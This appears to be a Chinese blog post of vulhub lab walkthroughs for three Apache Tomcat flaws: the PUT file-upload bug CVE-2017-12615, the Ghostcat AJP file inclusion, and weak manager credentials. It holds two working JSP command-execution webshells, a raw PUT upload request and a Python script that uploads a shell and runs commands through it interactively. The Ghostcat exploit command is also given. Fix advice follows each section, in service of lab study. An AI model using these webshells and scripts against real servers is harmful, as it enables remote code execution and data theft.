vulhub-tomcat

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

一 漏洞描述

当存在漏洞的Tomcat启用了HTTP PUT请求方法, 攻击者可通过构造数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。

参考链接:https://www.6b8.me/index.php?m=home&c=article&a=index&id=376

受影响版本

Tomcat版本:8.5.19

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

CVE-2017-12615# docker-compose up -d

目标 Ubuntu 192.168.1.242

三 漏洞复现

url发包,并访问http://192.168.1.242:8080/1.jsp?pwd=023&cmd=whoami

PUT /1.jsp/ HTTP/1.1
Host: 192.168.1.242:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=19734B3EBED72E19A1D99D5AB2CEAFE9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 660

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

在这里插入图片描述

Payload 传入了双变量木马,连接时可能与 Shell 管理器(们)合不来,不如写个脚本来伪造交互式 Shell。

# -*- coding:utf-8 -*-
import requests
import sys


if __name__ == "__main__":
    my_url = "http://192.168.1.242:8080/she111.jsp"
    put_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close",
        "Content-Length": "374"
    }
    put_body = """
    <%
    if("she111".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
        }
    %>
    """

    r1 = requests.put(my_url+'/', headers=put_headers, data=put_body)
    if r1.status_code in [201, 204]:
        print('[+] Upload successfully')
    else:
        print('[-] Failed')
        sys.exit(1)
    while True:
        command = input('> ')
        if command == 'exit':
            break
        c_url = my_url + ("?pwd=she111&i={}".format(command))
        r = requests.get(c_url, headers=put_headers)
        print(r.text.replace('<pre>','').replace('</pre>','').replace(' ',''))
    sys.exit(2)

在这里插入图片描述

四 修复建议

1.将readonly和VirtualDirContext值为Ture
2.升级tomcat为最新版本

五 参考链接

https://www.modb.pro/db/437671

Aapache Tomcat AJP 文件包含漏洞

一 漏洞描述

Java 是目前 Web 开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。

Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

参考链接:

  • https://www.chaitin.cn/zh/ghostcat
  • https://www.cnvd.org.cn/webinfo/show/5415
  • https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
  • https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ

影响版本

Apache Tomcat = 6 7 <=

Apache Tomcat <7.0.100 8 <=

Apache Tomcat <8.5.51 9 <=

Apache Tomcat <9.0.31

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

CVE-2020-1938# docker-compose up -d

目标 Ubuntu 192.168.1.242

三 漏洞复现

exp:

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

python CNVD-2020-10487-Tomcat-Ajp-lfi.py  192.168.1.242 -p 8009 -f /WEB-INF/web.xml

在这里插入图片描述

当存在上传功能时,上传图片马结合此漏洞,可以getshell。

四 修复建议

临时禁用AJP协议端口,在conf/server.xm l配置文件中注释掉

<Connector port=”8009″ protocol=”AJP/1.3″redirectPort=”8443″ />

五 参考链接

https://www.cnblogs.com/dyanbk/p/13334860.html

Tomcat7+ 弱口令 && 后台getshell漏洞

一 漏洞描述

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

  • manager(后台管理)
    • manager-gui 拥有html页面权限
    • manager-status 拥有查看status的权限
    • manager-script 拥有text接口的权限,和status权限
    • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
    • admin-gui 拥有html页面权限
    • admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    
</tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

Tomcat版本:8.0

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

CVE-2020-1938# docker-compose up -d

目标 Ubuntu 192.168.1.242

三 漏洞复现

访问http://192.168.1.242:8080/manager/html使用tomcat:tomcat登录

在这里插入图片描述
四 修复建议

更改复杂密码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值